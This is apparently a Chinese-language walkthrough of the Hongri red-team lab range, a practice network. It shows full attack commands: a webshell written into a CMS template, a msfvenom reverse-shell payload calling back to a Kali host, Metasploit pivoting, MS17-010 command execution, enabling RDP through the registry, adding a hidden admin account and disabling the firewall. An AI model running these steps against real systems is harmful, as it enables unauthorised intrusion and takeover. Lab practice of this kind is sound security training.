环境搭建

靶场地址
该靶场给了三台虚拟机
下载好分别开启，密码都是hongrisec@2019，登录后需要修改密码，我这里修改的hongri@2019
靶场环境是这样的web服务器由win7来作，网络可以按照官方给的配置
我是按自己习惯改的，我把win7设置成nat，另一个网络设成vm1另外两个虚拟机的网络适配器都设置成vm1

NAT的子网是192.168.159.0/24在win7里面的phpstudy打开服务成功访问
以上就已经搭建好了环境了

WEB服务渗透

namp扫描端口，开放80和3306扫一下目录，有phpinfo和phpmyadmin可以看到版本为3.5.8.2
先试试弱口令不行再去找找有没有poc打
果然，root:root进入了后台
可以看到这里是有一个cms的，是yxcms
试了一下，果然有数据库里面找到这个默认密码登陆进去了
可以直接修改模板文件，都是php文件
直接写一句话木马成功执行命令
上蚁剑看下权限，好家伙，直接是admin

上线cs

不知道为啥powershell的方式打不上去，只能搞个exe用蚁剑传上去执行
用cs提权一下，成功了，那么这台机子打穿了，我们进行横向移动

上线msf

用kali执行（kali的ip为192.168.159.131）

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.131 LPORT=4444 -f exe > shell.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.159.131
set lport 4444
exploit

内网信息收集

msf中getsystem也可直接提权

提取密码哈希

也可以直接用mimikatz模块提取密码

ipconfig找到这个机子的内网地址
arp -a简单探测一下内网主机信息192.168.52.138和141可能会是第二台主机的ip

cs方面可以这样做
先配置静态路由

run autoroute -s 192.168.52.0/24

然后运行这个模块去爆破c段
成功发现138、141和143，而143是本机的，那么另外两台就是141和138了

横向移动

隧道搭建

先将该web服务器配置为代理服务器当作跳板机
这里用cs上线

自己设定一个端口，然后去代理工具添加一个socks服务器就可以了

cs方面就用刚刚配置的静态路由即可
但是cs这个代理我用着很不稳，所以我还是选择了msf的隧道搭建

run post/multi/manage/autoroute
background
use auxiliary/server/socks_proxy
set version 4a
run

再修改/etc/proxychains.conf文件

漏洞探测

刚刚收集到剩下两个机子的内网ip为138和141
先扫描一下端口
use auxiliary/scanner/portscan/tcp
我这里优先扫80 445(MS17-010) 3389(MS19-0708)
可以看到这里两个ip都开了445端口，那么我们就试试MS17-010

这里使用ms17-010
用use auxiliary/scanner/smb/smb_ms17_010去检测一下
可以看到是存在ms17-010漏洞滴

拿下内网主机

执行一下命令

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run

成功执行！
想直接用ms17_010_eternalblue弹一个shell过来，但是失败了后面百度发现由于域控主机是不出网的，要攻击机去主动连接域控服务器才行
set这个payload

set payload windows/x64/meterpreter/bind_tcp

但是我还是没能复现成功。。。

但是这里尝试psexec成功了我这里本来选择联动cs，但是这个太脆弱了，我一打session就掉。。。无奈还是放弃

最后我就直接用ms17_010_command来打
这里有两个坑：

• 第一个是msf的payload会把反斜杠和双引号给转义掉，所以我们payload要这样写

• 第二个坑是添加用户的密码必须满足要求：字母符号加数字，不然无法添加

开启3389
set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

添加用户
net user aaaa aaa@123456 /add
添加到管理员
net localgroup administrators aaaa /add

直接登陆远控

proxychains rdesktop 192.168.52.141

同理再拿下域管主机
注意！域管主机连不上的话需要关闭防火墙！！！

netsh advfirewall set allprofiles state off

这里还有一个攻击手段，那就是用cs的smb打
win7机上线cs后，提权再使用net view去内网扫描
利用smb去上线剩下的内网机器
成功上线其他的两台

最后攻击的拓扑图如下